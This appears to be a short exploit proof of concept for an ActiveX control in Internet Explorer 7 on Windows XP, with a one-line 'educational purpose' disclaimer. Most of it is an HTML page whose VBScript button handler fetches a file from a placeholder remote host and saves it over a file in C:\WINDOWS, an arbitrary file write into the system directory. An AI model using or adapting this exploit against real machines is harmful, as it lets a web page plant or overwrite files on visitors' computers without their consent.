This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
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<object classid='clsid:00989888-BB72-4e31-A7C6-5F819C24D2F7' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
dim remURL
remURL = "http://SomeSite.com/SomeFile.doc"
test.Open remURL, True
test.Save "C:\WINDOWS\_system.ini", True
End Sub
</script>
